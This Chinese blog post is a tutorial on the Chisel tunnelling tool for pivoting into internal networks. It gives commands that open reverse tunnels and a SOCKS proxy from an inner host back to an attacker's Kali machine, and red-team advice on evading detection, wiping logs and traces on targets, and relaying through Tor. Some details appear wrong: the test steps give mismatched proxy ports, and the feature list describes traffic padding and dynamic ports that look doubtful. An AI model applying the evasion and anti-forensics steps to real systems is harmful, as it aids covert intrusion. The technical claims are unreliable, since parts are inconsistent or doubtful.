首页 > 其他分享 >Chisel隧道

Chisel隧道

时间:2024-09-11 20:02:51浏览次数:1  
标签:chisel 隧道 端口 Chisel 转发 HTTP 内网

Chisel隧道

Chisel内网穿透

sudo chisel server --port 6666 --reverse
sudo ./chisel client 192.168.126.201:6666 R:8080:127.0.0.1:80
# 测试
kali浏览器设置好8080端口,socks5代理,访问http://127.0.0.1:8080/,即可成功访问到内网主机的80端口

Chisel端口转发

sudo chisel server --port 7777
sudo ./chisel client 192.168.126.201:7777 8888:192.168.126.134:80
# 测试
kali浏览器http://对方ip:8888,即可成功访问到内网主机的80端口

Chisel-socks代理

服务端使用反向模式,监听12345,并允许远端指定转发端口

客户端通过12345端口连接kali建起隧道,再通过R接socks即可,代表客户端的socks1080反向给到了kali

sudo chisel server --port 12345 --reverse
sudo ./chisel client 192.168.126.201:12345 R:socks
# 测试
kali浏览器设置好12345端口,socks5代理,即可成功访问内网资产

Chisel说明

Chisel优势

像Lcx端口转发,有一个缺点就是转发RDP端口,一旦断开就无法继续使用,需要重新执行。像EarthWorm、Termite,因为源代码不开源,导致被杀,且已经停止了更新。像Frp,需要结合配置文件操作,渗透实战中不太合适。

像上面几个工具的缺点,Chisel是可以避免的。优秀的工具还有很多,Chisel仅供参考。

流量混淆技术

Chisel采用多种技术来混淆流量,提高隐蔽性:

  1. HTTP伪装:所有通信都封装在HTTP请求中
  2. WebSocket伪装:进一步模仿正常的Web应用行为
  3. 数据包分片:将大数据包分割成多个小包发送
  4. 流量填充:在空闲时发送无意义的填充数据
  5. 动态端口:支持动态更换通信端口

Chisel简介

Chisel是一个基于Go语言开发的高效TCP/UDP隧道工具。它的特点包括:

  • 支持TCP和UDP协议,满足多样化的渗透需求
  • 利用HTTP/HTTPS进行数据传输,易于绕过大多数防火墙
  • 内置SSH加密,确保数据传输安全性
  • 支持反向端口转发,便于内网穿透
  • 轻量级设计,易于在目标系统上部署和隐藏

Chisel工作模式

Chisel采用客户端-服务器模式工作,其流程如下:

  1. 客户端发起HTTP/HTTPS连接请求服务器
  2. 双方协商加密参数,建立SSH通道
  3. 客户端请求打开指定端口的隧道
  4. 服务器确认后开始转发流量
  5. 应用层数据经过SSH加密后通过HTTP隧道传输

这种设计允许Chisel在高度受限的网络环境中运行,同时保持较高的安全性。

实战应用

在内网渗透中,Chisel可以用于多种场景:

  • 反向Shell:通过反向连接绕过防火墙,获取目标系统的远程控制
  • 内网代理:在已控制的主机上设置SOCKS5代理,方便后续的内网探测
  • 端口转发:将内网服务暴露到外网,便于远程访问内网资源
  • 横向移动:在不同网段间建立隧道,扩大渗透范围

实战技巧:

  • 使用反向连接时,可以将Chisel伪装成常见服务,如web服务器
  • 结合其他工具如Metasploit,可以构建更复杂的攻击链
  • 在多层内网中,可以使用Chisel构建多级代理链

安全建议

作为红队成员,我们应该注意:

  • 使用自定义的User-Agent和其他HTTP头,避免被防御系统识别
  • 适当调整流量混淆参数,在隐蔽性和性能之间找到平衡
  • 定期更换通信端口和服务器地址,增加追踪难度
  • 在目标系统上使用后要彻底清理痕迹,包括日志和临时文件
  • 考虑将Chisel与其他工具结合使用,如将流量通过Tor网络转发

随着网络安全领域的不断发展,像Chisel这样的工具也在不断进化。未来可能会看到:

  • 更先进的流量混淆技术,如模仿特定应用的流量模式
  • 与人工智能结合,自动调整行为以适应不同的网络环境
  • 更强大的加密方式,以应对量子计算带来的挑战

标签:chisel,隧道,端口,Chisel,转发,HTTP,内网
From: https://www.cnblogs.com/carmi/p/18408849

相关文章

  • 隧道视频监控智能分析系统
    隧道视频监控智能分析系统是道路交通方式不可缺少的监管手段,隧道视频监控智能分析系统有效进行交通违法和紧急事件的全自动识别和交通出行流量的全自动数据分析,并依据城市路口、城市道路、高速路、道路、公安机关监控、隧道、公路桥梁、地下停车场等各类实际路面生态环境开展有针......
  • 内网隧道:端口转发
    目录LCX端口转发场景一场景二SSH的端口转发一、本地转发(正向访问A):二、远程转发(反向访问A)三.NETSH端口转发端口转发和端口映射端口转发,有时被称为做隧道,是安全壳(SSH)为网络安全通信使用的一种方法简单来说,端口转发就是将一个端口收到的流量转发到另一......
  • 9.5内网横向&代理&隧道
    Socks代理思路:工具:nps、frp、ngrok、reGeorg、sockscap64、earthworm、proxifier、proxychains知识点1、内外网简单知识2、内网1和内网2通信问题3、正向反向协议通信连接问题4、内网穿透代理隧道技术说明代理解决通信问题,隧道解决流量分析、流量监控工具、防火墙等内网穿......
  • 数字孪生在隧道运营阶段起了什么作用?
    数字孪生技术在隧道运营阶段的应用具有重要意义。通过结合实时数据监测和虚拟仿真技术,数字孪生为隧道管理者提供了全方位的监控和预测能力。在确保隧道安全、提高运营效率和用户体验方面,数字孪生技术发挥着关键作用。1.结构健康监测实时监测:数字孪生技术可以通过传感器实时监测......
  • 什么是ip隧道技术?
        你了解ip隧道技术吗?它就好比在开学第一天,你开车送孩子去上学,而平时的道路堵的水泄不通,为了更快的到达学校,你选择走一下高架单向路或是地下隧道。你的车是原始数据包,IP隧道就像高架路或是地下隧道,而平常堵住的路就像不兼容的网络环境和限制技术。ip隧道技术是一种在网络......
  • 内网对抗-代理技术-隧道技术
    内网对抗-代理技术-隧道技术(SMB)代理技术代理技术使用的协议是SOCK4/5常用的代理工具有SockCap,Proxifiter,ProxyChainsSOCK协议SOCK协议是一种网络协议,用于在计算机网络中提供网络应用之间的通信,是一种通用的、面向连接的协议,常用于实现客户端和服务器之间的通信SOCK......
  • 【待做】【网络协议系列+DNS安全】利用DNS隧道进行追踪和扫描
    一、什么是DNS隧道二、DNS隧道攻击典型步骤三、攻击者如何利用DNS隧道四、用于追踪的DNS隧道案例五、缓解措施原创二进制空间安全一、什么是DNS隧道DNS隧道是一种利用DNS协议进行数据传输的技术。在网络中,DNS通常用于将域名解析为对应的IP地址,但是它也可以被......
  • 生动形象的解释计算机网络中隧道技术实现原理
    隧道技术是计算机网络中一种用于在不同网络之间传输数据的方法。隧道技术的实现原理可以类比于在现实生活中的地铁隧道系统。让我们通过一个生活中的例子来生动形象地解释隧道技术的实现原理。假设你现在在城市A,想要去很远的城市B。城市A和城市B之间有一座大山,无法直接穿越......
  • 隧道代理ip使用
    简介隧道代理(TunnelProxy)是一种特殊的代理服务,它的工作方式是在客户端与远程服务器之间建立一条“隧道”。这种技术常被用来绕过网络限制或提高网络安全性。主要功能IP地址变换:隧道代理能够改变客户端的IP地址,使得客户端访问的目标服务器看到的是代理服务器的IP地址,而......
  • 隧道代理ip使用
    简介隧道代理(TunnelProxy)是一种特殊的代理服务,它的工作方式是在客户端与远程服务器之间建立一条“隧道”。这种技术常被用来绕过网络限制或提高网络安全性。主要功能IP地址变换:隧道代理能够改变客户端的IP地址,使得客户端访问的目标服务器看到的是代理服务器的IP地址,而不是客......